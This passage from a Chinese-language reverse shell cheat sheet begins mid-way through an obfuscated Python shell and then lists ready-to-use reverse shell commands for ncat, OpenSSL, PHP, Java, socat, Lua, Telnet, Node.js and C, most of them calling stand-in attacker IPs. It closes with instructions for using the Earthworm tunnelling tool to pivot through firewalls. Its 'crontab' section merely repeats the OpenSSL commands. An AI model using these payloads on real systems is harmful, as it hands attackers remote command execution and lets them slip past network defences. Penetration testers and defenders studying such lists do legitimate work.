__after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
```

### Ncat反弹shell
```shell
ncat 127.0.0.1 4444 -e /bin/bash
ncat --udp 127.0.0.1 4444 -e /bin/bash
```

### OpenSSL反弹shell
```shell
hacker@kali$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
hacker@kali$ openssl s_server -quiet -key key.pem -cert cert.pem -port 4242
or
hacker@kali$ ncat --ssl -vv -l -p 4242

user@company$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 127.0.0.1:4242 > /tmp/s; rm /tmp/s
```

### crontab反弹shell
```shell

hacker@kali$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
hacker@kali$ openssl s_server -quiet -key key.pem -cert cert.pem -port 4242
or
hacker@kali$ ncat --ssl -vv -l -p 4242

user@company$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 127.0.0.1:4242 > /tmp/s; rm /tmp/s
```

### PHP反弹shell
```php
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
```

### Java反弹shell
```java
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()
```

### socat反弹shell
```shell
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.79.137:5555
```

### Lua反弹shell
```lua
Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
```
```lua
Windows
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
```

### Telnet反弹shell
```shell
rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p
```

### Nodejs反弹shell
```nodejs

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(8080, "10.17.26.64", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();


or

require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')

or

-var x = global.process.mainModule.require
-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')

or

https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
```

### C反弹shell
```c
$ gcc c_revese_shell.c -o cshell
$ ./cshell 192.168.1.128 8080
```

## 扩展
- https://github.com/lukechilds/reverse-shell

- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md


**ew（Earthworm）网络穿透工具反弹Shell**

EW 是一套便携式的网络穿透工具，具有 SOCKS v5服务架设和端口转发两大核心功能，可在复杂网络环境下完成网络穿透，亦可用于反弹Shell等。属于Hacking Tools。

该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道，直达网络深处，用蚯蚓独有的手段突破网络限制，给防火墙松土。工具包中提供了多种可执行文件，以适用不同的操作系统，Linux、Windows、MacOS、Arm-Linux 均被包括其内

**Earthworm下载**
> http://rootkiter.com/EarthWorm

**Earthworm使用**

上传ew.exe 然后在本地执行：ew.exe -s rcsocks -l 1008 -e 888 说明：监听888端口，把接收到的数据转到本地的1008端口。

在目标上执行ew.exe -s rssocks -d 10.10.10.10 -e 888 说明：开启sockes 并反弹到ip地址为10.10.10.10 端口为888 反弹代理成功以后，本地会出现rssocks cmd_socket ok!

现在打开我们的SocksCap64，新建一个代理。ip为127.0.0.1端口为1008，配置好了以后，点击保存。现在我们把需要走代理的工具都放到SocksCap64里面。